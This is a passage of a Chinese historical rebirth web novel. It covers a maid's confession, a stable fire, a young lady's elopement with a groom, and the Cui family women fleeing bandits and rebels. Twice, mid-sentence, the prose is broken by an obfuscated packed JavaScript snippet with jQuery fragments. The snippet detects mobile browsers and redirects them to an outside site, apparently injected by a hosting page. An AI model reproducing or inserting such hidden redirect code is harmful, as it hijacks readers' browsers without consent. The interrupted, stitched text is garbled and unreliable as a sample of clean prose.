小桃对上崔行婉的眼神,刚刚下去的汗毛又竖了起来。 不管崔行婉做了什么,面对崔廷玉“是小桃还是你”的质问如何回答,崔行婉都是主子,赏罚皆恩,岂容指摘。 而小桃,毕竟是个奴婢啊。奴婢只要犯了一点错,那就是该死。 于是,小桃立刻膝行到崔行婉面前请罪,哭道:“二小姐,小桃该死!” “都是小桃的错……小桃听您的吩咐,太夫人寿宴时,去盯着阿青的动向……没成想,我缀在他后头回府时,恰好撞见大公子,被拿了个正着……也不知为何,大公子问得那么紧,我、我实在是混不过去……” “回府?”崔行婉没空听她的请罪,只抓住了一点,问,“他今日出府了?去了哪儿?” “当铺,他去了当铺!” 原来,在崔府为了崔太夫人的寿宴张灯结彩时,阿青从后门出了府。 小桃当即就傻了眼。婢女私自出府是大罪,她下意识就想停下脚步。可是…… 早在崔行婉交待她,一个未配人的婢女,去盯一个男仆时,小桃就犹豫地问过:“寸步不离?……可是,如果他出府了呢?” 当时崔行婉是怎么说的?她说:“那也跟着。放心,凡事有我。” 于是,小桃咬牙跟了上去。 出了府门,小桃缀着他左拐右拐,眼见他进了一家当铺,同掌柜的据理力争。良久,才从当铺里出来。 小桃缩在巷尾,等他出来了,才去当铺里询问,阿青是去当什么了。 掌柜的道:“啊?他不是来当东西的,是来赎东西的!别说,那块玉成色还真不错呢,要不是这后生不松口,我都想给他直接买下来了。” 小桃疑惑地重复了一遍:“玉?” 一个马奴,能有什么好玉? 没等掌柜的回复,老板娘就气势汹汹地从楼上下来,拎着鸡毛掸子:“谁叫你把玉给他赎回去的?他当的时候。我开价才几个子儿?那玉成色那么好,砸他手里可惜了,要是再找个精通篆刻的行家,雕琢一下,卖给王家谢家的公子都足够了!你这个……” 掌柜的惨叫着被拎走:“人家当时就是活当,又不是死当……” 小桃连忙溜了,可是谁成想,刚回府,就被崔廷玉撞个正着。 “大公子当时脸色很不好看,像是在找人。见着奴婢,劈头便问,有没有见着大小姐。然后,便追问为何奴婢没有跟在您身边……问奴婢,您去哪儿了。” 小桃是追着阿青偷偷出府的,当然一个都没法回答。崔廷玉当场便把她拘回房内,威吓她是不是动了私情,要查出她的奸夫,再把她发嫁出去配人。 小桃吓得涕泪横流,什么都招了。崔廷玉得知她是追着阿青出府的,当即脸色铁青,要她把崔行婉这几日的言行细细说来,一个字也不许漏。待听到崔念贞找崔行婉要东西时,更是蹙眉凝目,问:“要了什么?你家小姐到底弄了什么东西来,竟然引得她亲自来要?!” 小桃被吓得抖抖索索,只当是犯了什么忌讳,哭道:“是、是矾石……” 崔廷玉听完,却松了一口气,面色稍霁,旋即把崔行婉拿了回来。 这就是今天的始末。 被崔廷玉当场拿住,小桃固然吓得半死。可是让她感到更害怕的,居然是方才,崔行婉讶异的那句:“什么?小桃跟踪阿青?” 小桃浑身发冷。 可是她只是一个奴婢。所以,越是发冷,她越是需要在崔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17310071|198792||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 行婉面前急切地、竭尽全力为自己辩解:“二小姐,二小姐……小桃不是有意的。大公子是何等人物,小桃一个奴婢,扯两句谎怎能瞒的过他的法眼……” 崔行婉攥着那块玉佩,站起身,喝止道:“好了,不必再提。我且问你……府中,可有人知晓阿青的身世?” 小桃茫然道:“身世?” 旋即,她便有些恍然:“二小姐是说,府中的传言吗?” 崔行婉追问:“什么传言?” 小桃道:“就是……传言说,阿青的母亲,是个胡姬。” 小桃含蓄地点到为止。她毕竟是个小女孩,有些话,不好说。 崔行婉沉默片刻,继续追问:“……哪里的胡姬?” 自数十年前的胡戎之乱后,大雍衣冠南渡又迁都回京,自此平定胡乱。滞留在中原的胡人,大多沦为了乐伎一类。胡姬,要么在勾栏瓦肆,要么被豢养在达官贵人的府内。 小桃道:“那便不知道了。只有一次,我路过后院下人房里,见崔管事二哥房里的煦哥儿拿阿青取乐,一会叫他打水,一会叫他浇地。阿青那时候还小,约莫十一二岁的样子。煦哥儿一面远远看着阿青做事,一面跟人取笑道:‘胡姬的种,跟个绿眼睛狼崽子似的,哪家的大老爷肯认?咱们几个今日也来享享福,叫这个假公子来给咱们打水洗脚!’……” 话未落地,一声破锣似的尖叫震破天际: “走水了!!!” 火光冲天,浓烟雾罩,整个崔府人仰马翻,齐齐涌去救火。火光的方向,正是来自马厩。 马儿嘶鸣着,满后院的乱窜,有人嘶吼:“快,快制住马,别让它伤人!” 嘶吼的正是崔管事。前几日,他被夫人训斥了一顿,叫他立即撤销“蠲省”,分发月俸,他吃力不讨好,正郁闷着。今夜太夫人寿宴结束,他借酒浇愁,正要倒头大睡,就被冲天火光吓得滚了出来。 崔管事顶着满身酒气,大骂:“今夜谁他娘看守的马厩?” 一人从远处闻讯奔来,正是阿茗。他抖抖索索,扑通一声就跪了:“崔管事,今夜当值的应是……应是……” “阿青呢?阿青在哪?!” 崔行婉已赶了过来,见马厩冲天火光,抓起一人的衣襟,厉声质问。 崔管事定睛一看,抓的正是自己小侄儿,煦哥儿。 煦哥儿衣衫松松垮垮,正在系裤腰带。忽然被崔行婉揪住质问,他连声叫道: “二小姐!二小姐,小人哪里知道呀!那个马奴,小人又不与他相熟……” 崔管事也来拦她,忙道:“二小姐!二小姐误会了,他小孩子家家,又不是该他管马厩的,今天这事跟他八竿子打不着……二小姐莫急,我这就去拿那马奴过来问罪……” 崔行婉被崔管事这么一拦,才反应过来。 对啊。这不是前世,阿青没有大闹寿宴,崔管事没有被发卖,煦哥儿又怎会为叔叔出头,要放火把阿青同马厩一起烧了? 可是这把火,分明和前世一样! 时间,地点,一丝都不差! 崔行婉咬牙又问:“你素来与阿青不睦……” 煦哥系好裤腰带,躲在叔叔后面不住喊冤:“二小姐明鉴!我再与他不睦,我也是崔管事的二侄子,咱们崔家的采办!他不过一个马奴而已,犯得着叫我为了他纵火?!我、我不过是出来放水解手,一出来就看到起火了,吓得我还贡献了一泡尿呢……” 后面也有人说:“是呀是呀。要不是听到煦哥儿叫喊,我们还不知道马厩起了火呢。” “这究竟是怎么一回事?!” 崔夫人和李嬷嬷也已经赶了过来,望见满眼疮痍,哀哀切切地哭了起来。 众人见状,都七嘴八舌去安慰:“夫人莫要担心,火已熄了!” “烧塌了个马厩而已,补一补就是了。” 崔管事也道:“夫人息怒,这走了水,都是那个马奴阿青看守不力,来人,还不快把人押上来,让夫人发落……” 哪里还有人。 阿青,不知所踪。 崔夫人哭着,尖声问:“谁管什么马奴!我问你……马匹,少了吗?” 听到答案后,崔夫人和李嬷嬷互相搀扶着,嘴唇抖动,复又无声。 崔行婉僵硬地回头,看着崔夫人伤心欲绝、又强加隐忍的神色,一颗心缓缓沉了下去。 前世,她也看到过崔夫人这样的神色。 在崔念贞不知所踪之后。 他们,还是私奔了。 11. 第 11 章 缺月疏桐,悄然无息地看着一场闹剧,任由一场大乱如前世般悄然开场。 一室之中,房门紧闭。 “私奔!” 周姨娘脱口而出,又忙捂住嘴,匆匆看了眼紧闭的门窗,压低声音问:“你说的是真的?崔家大小姐,和一个马奴私奔?我的儿,你不是在发梦吧?” 崔廷玉坐在桌旁,按着发疼的额角,不耐道:“骗您做什么?崔念贞已经不知去向,那马奴也不知所踪,这不是私奔是什么?” 周姨娘仍然不信:“会不会是巧合呢?比如那个马奴怕冷,在马厩烧炭取暖,不小心着了火,畏罪潜逃?儿啊,我知道,这小子是崔念贞在平宁州救下来的,你一直心有芥蒂。可是……他毕竟是奴啊!贵贱有别,崔念贞怎么瞧上他!” 崔廷玉冷冷嗤了一声:“她要是真在乎贵贱之分,当初在平宁州,她就不会私逃离家,更不会抱着个乞儿再徒步走回来!” 崔行婉茫茫然抬起头来:“……什么?” 原来,当初崔廷玉护送崔念贞去平宁州时,路遇一群流民乞食。崔廷玉作为打头的主事人,深知流民就是匪寇的前身,十分警惕,命下人动手驱赶,崔念贞却不依,与他起了龃龉。崔廷玉当她年幼天真,不同她一般计较,命人继续赶路。结果晚上刚到庄子,崔念贞就失踪了。崔太夫人吓得命人连夜寻找,出人意料的是,临近天明,崔念贞自己回来了。 还抱回一个发着高热、衣衫褴褛的乞儿。正是白日那群流民中的孤儿。 此举无异与庶兄叫板,崔廷玉正要教训她不守规矩,却反倒被崔太夫人训斥一通,言称是崔廷玉处理不当,才害崔念贞赌气离家,还叫崔廷玉给她赔罪,将那乞儿医好后带回崔家,好好安置。 崔廷玉气得一佛出天二佛出世,可是祖母金口玉言,他只能强压火气,依言照办,将那乞儿带回去后就丢给崔管事,撒手不管。崔管事便给他分去了马厩,成了后来的马奴阿青。 ……原来阿青和崔念贞的因缘,在这么久之前。 崔廷玉依旧冷笑:“姨娘别说是我多心。你可知,马厩的马槽上都是桐油,明摆着是有人故意纵火。——您别忘了,东院离马厩不远,马厩起火,东院的人必定要去救火的,她崔念贞就有空逃了。” 周姨娘“嘶”地倒吸了一口冷气,喃喃自语:“怪不得,夫人刚才那副样子……我还道她胆子小成芝麻粒了?一把火而已。原来如此,原来如此!” 她茫然了好一会,忽然霍地站起身来:“不行!这事儿要是传出去,崔家女的名声可怎么办?我们婉儿怎么嫁人!” 说着,一掌搡在崔行婉身上,恨铁不成钢:“平日里不是主意正的很吗?今夜发什么呆!” 崔行婉被她一搡,手肘磕在桌沿,袖里的玉佩也掉在桌子上,篆体的“谢”字分明,在烛火映出白玉光辉。 崔行婉咬着牙,看着这玉佩,一声不吭。 错了。 她从一开始,就弄错了。 也许,前世那一场火,也根本不是因寿宴而起。 所有的碎片,在崔行婉脑海中,拼凑成行。 崔念贞认出了谢灵均的玉佩,甚至急切到对他拉拉扯扯,一定是为了阿青。而谢灵均对她郑重一礼,必然是承诺了什么。 然后,当夜,马厩便起火了。 不管是前世,还是今生,皆如此。 周姨娘犹在喋喋不休:“太夫人还想与谢家说亲呢,这下可好。这贞姐儿也是,跟个马奴……?谢灵均出身清贵,才貌双全,难道还比不上一个马奴不成?” 崔念贞听她细数谢家玉郎的好处,只觉得齿冷。 崔廷玉却道:“阿娘怕是忘了,大妹妹那样,若嫁入谢家,对崔家未必是好事。” 周姨娘一愣,若有所思,崔廷玉按住桌上的玉佩,推到了周姨娘的面前: “现在该着急的,应是祖母。好不容易求来了把孙女嫁回谢氏的机会,现在人跑了,她难道就眼看着时机逝去?” 崔廷玉看了看崔行婉,含笑对周姨娘道: “崔家二小姐,也是养在夫人膝下的。” 崔行婉霍然抬起头来。 第二日,崔家传出消息。府内不慎走水,崔大小姐受了惊吓,连日梦魇,请了高门大师过来算命,卦象显示,崔大小姐命中与京都犯冲,只有送回庄子上静养,才可解除灾祸。 至于马奴?什么马奴? 没有了前世寿宴的“露脸”,没有人会注意到一个低贱的马奴,也没有人会把眼珠子黏在一个崔氏旁支上,津津乐道说长论短,直至扒出更大的丑闻。 京都众人只知道,崔大小姐命不好,陈郡谢氏的谢长公子是绝不可能外放出京的,与她就此无缘了。 那谢长公子如何婚配呢? 世家们便不错眼地盯着,谁知崔家有意将庶女许配过去?崔太夫人连着好几次回娘家说项,谢家不大乐意,可是又不好驳了自家姑奶奶的脸面,便道崔行婉还小,不若等谢灵均授官后,再论婚事。 崔太夫人心领神会,回去便叫了崔夫人夜谈。 崔夫人失魂落魄地出来,从此,崔行婉不仅被记到了崔夫人名下,有了嫡出名分,还时常被带着出席各种世家贵女的社交场合。 觥筹交错,她看见一双双或好奇,或打量的眼睛,一张张从容得体,却又带着审视脸孔。 来自谢家的席位。 崔行婉心中想要冷笑,可是抬起头来,却还是一副温柔端庄的笑脸,一如既往,甚至更添了几分柔顺。连她自己都怔愣。 她想扯平弯着的嘴角,可是肌肉紧绷,像是焊在脸上的面具,撕不下来了。 半年后,谢灵均授官。朝廷将平宁州的起义的矿场工人镇压后,不以为意,随手指派谢灵均去安抚民心。 谁能料到,野火烧不尽,春风吹又生。这股起义势力奔逃南方,振臂一呼,受了水患天灾、又得不到赈灾粮的南方农民纷纷响应。朝廷又慌忙调谢灵均去赈灾抚民,然而迟来的粮食收拢不了早散了的民心,这边水患那边地动,谢灵均这一去,就是良久。 这一世,崔行婉的婚事又被耽误下来了。 不同的是,她不再像前世那么焦虑着急,深怨崔念贞和马奴私奔,毁了她名声,耽误她找个托底后半生的好人家。 崔行婉只是忽然觉得,好累好累。 和崔夫人言笑晏晏母慈女孝,好累。 对高官贵妇迎来送往殷勤周到,好累。 当她们忧虑地聊到南方战况时,谈到:不知灵均怎样了? 崔行婉也会忽然出神:不知阿青怎样了? 她重生一世,好像什么都没能改变。阿青依旧被逼到逃离崔府,崔念贞依旧不离不弃。可是他们逃得那么急,有没有带够钱?崔念贞……还会不会死于战乱? 她被困在后宅,没有答案。 直到京都北面,也出了匪患! 这可是上一世没出现过的事情! 京都权贵人心惶惶,纷纷送家人离京避祸。崔父也不例外,决意送女眷去平宁州庄子上暂避。崔父在平宁州的庄子,可是有部曲的,这年头,有部曲才能护住一家子人。而且,平宁州现在处于朝廷管控下,还算安全。 崔太夫人她们在前车上,崔行婉与小桃乘一辆车,缀在后面,更后面,还有足足四辆马车的金银细软,都是崔姨娘执意要带的。 崔行婉虽说前世经历过战乱,但是毕竟没有威胁到京都,未曾直面过逃亡。她有些犹豫地劝:“带这么多行李,路上岂不显眼?” 崔姨娘眉毛一竖:“你懂什么?乱世里头,那些房产地契就是废纸,要是被强人霸了,你还能去收租金不成?只有真金白银,才能保住咱们。你也不想全家人去地洞里,抓死老鼠吃吧?” 前世,谢剑清也曾对她笑说,他最潦倒落魄的时候,连死老鼠都吃过……那不是吓唬她,是真的!在这种乱世里,会真切发生的! 崔行婉浑身打了个颤,一句话也不说了。 崔府已经算得上准备齐全了,女眷们都化了装,穿着朴素,马车外部也掩饰过,还有家丁仆役跟随保护。按理来说,应该无恙。 可是这已经是乱世了,乱世是不讲理的。 “不想死的就站住!把钱留下!” “强盗,有强盗!” 尖叫声,喊杀声,此起彼伏。家丁仆役哪里拼的过见过血的匪盗,车队被打散,马匹受了惊,一路狂奔,崔行婉和小桃在车厢里被甩得晕头转向,终于在一声尖叫里,双双被甩出来马车外面。 崔行婉滚落在地,随着咣当的撞击声,头上一痛,便人事不省了。 过了许久,崔行婉才在一阵摇晃中睁开眼睛。 “二小姐!二小姐,你怎么样?!”小桃摇着她的手臂,哭得撕心裂肺。 所幸,这是一片松软的泥地,崔行婉只是撞昏过去了,没有伤筋动骨。她浑浑噩噩地爬起来,只见一片晕眩中,日暮西沉,天色幽冷。 她勉力道:“我没事……这是哪儿?” 小桃也不知道。 很明显,这里已经不是官道了,不知是哪里的荒郊野岭。幸运的是远离了匪盗,不幸的是找不到回家的路了。 更糟的是,马儿拖着马车一路狂奔,早就无影无踪。她和小桃二 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17310072|198792||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人两手空空,再无长物。 崔行婉紧紧抓着小桃的手,有些发抖。 很快,她就勉力平静下来。她不能慌!这种荒郊野岭,过往的所有秩序都成空,什么千金贵女,生存能力还不如奴仆丫鬟,说不准只是累赘。 但是这一点,绝不能让小桃反应过来!于是,崔行婉尽力用平静的声音道:“别怕,我们往西走……平宁州就在西边,想必这里也离平宁州不远,我们见到了人,就自报家门,百姓知道我们是士族的人,一定会送我们去衙门的。” 小桃忧愁道:“真的会吗?万一……万一遇见的是坏人呢?” 她还有没说出口的话……如果遇见色中饿鬼,可怎么办呢? 崔行婉冷冷道:“坏人也是人,是人就会贪心,就会害怕。我们可以用家世威胁……可以重金相酬……只要给的甜头够多,他自然知道好歹。” 就算真的被……又能怎么样?只要能活下去!重生一次,她只要活下去! 不管牺牲什么……她都要活下去! 而且,这里又不止她一个女人。 崔行婉下意识看向小桃,不知想到了什么,旋即像是被烫了一下一样,立刻挪开眼神。 小桃愣愣地看着崔行婉。忽然觉得这一眼,好熟悉。 就好像那一天,崔廷玉质问崔行婉时,崔行婉下意识看来的那一眼。下一刻,她神色一转,无辜又诧异地询问小桃为何跟踪阿青,仿佛一切都是小桃做的,她身为主子毫不知情。 ……此时的小桃,比那一天更加害怕。 因为那时最坏的后果,是被赶出崔府,是小桃认知中最可怕的下场。而现在最坏的后果……关乎性命。 原来还有比被赶出崔府,更可怕的事情。 “小桃?” 一声询问把小桃拉回现实,却又忍不住打了个激灵。她忙垂下头,去扶崔行婉:“好,我们向西走。二小姐,我们快走……” 崔行婉也靠在她身上,准备站起来,一股钻心的疼痛却骤然袭来: “啊!” 她的脚踝竟扭了。这一下,走是走不成了。小桃傻了眼,崔行婉狠狠咬牙,抓住小桃,道:“会爬树吗?快爬上树看一下,城镇远不远!” 小桃连忙照做,然后惊喜地大叫:“不远!原来附近就是镇子……咦,好像不是平宁州?” “不是也行!”崔行婉抓住小桃,下定决心,道:“你快跑去,就说扶风崔氏有贵人受伤,救治者以重金相酬!趁着天还没黑,快去!” 小桃看了看天色,夕阳渐斜,不敢再耽搁,转身跑去。 这附近的镇子人口并不稠密,然而此时却人来人往,驴马嘶叫声、呼来叫去的人声混成一团。 小桃奔过去时,正逢他们神色慌张,仓皇逃窜。 一个汉子一边往驴车上运包袱行李,一边冲屋子里喊: “快点!再不逃,叛军就杀过来了!” 汉子说完,跳上驴车,小桃冲过去拉住缰绳,连声问道:“什么,叛军打过来了?平宁州呢,平宁州如何了?” 汉子被窜出来的丫头吓了一跳,只见小桃身上灰扑扑的,粗布麻衣,只当她也是流民,便道:“平宁州?不知道,不过我听城里逃出来的亲戚说,叛军已经打到豫州了,那平宁州估计也悬了。” 小桃面如土色,一个农妇抱着孩子姗姗来迟,不舍道:“当家的,非逃不可吗?叛军是进了城,可是咱们这儿里城里还有好几十里地呢,应该没什么大碍吧?能不能不逃了?” “不逃?你没听说,叛军一路杀过来,城里的乡绅、贵人,就连那个新上任的刺史,什么牙什么王氏的,没一个讨了好,还有被活活绞死的。他们连当官的都不放过,还能放过我们这些小老百姓?” 小桃惊叫:“什么!这,这……” 妇人听夫君这么一说,连忙上了车,回头对小桃道:“妹妹,别人都往外跑,怎么偏你一个往城里去?听我们一句劝,快逃吧!” 小桃六神无主,扭头就要往来时方向跑去,汉子喝住她:“荒郊野岭的,是生怕遇不上狼吗!你两条腿,怎么比得上四条腿的?快,上车,我们载你一程!” 正说着,远处传来动地的马蹄声,远处窜起一片火光,映满黑夜。 “着火了,着火了!” “叛军在城里放火了,快跑吧!” 尖叫声此起彼伏,人流四处逃窜,小桃惨声尖叫道:“我上,我上!求你们别丢下我!” 最后关头,妇人拉了她一把,车轮滚滚而动。小桃抖着身子缩在车上,抱着脑袋,再不抬头。 兵荒马乱,抛诸身后。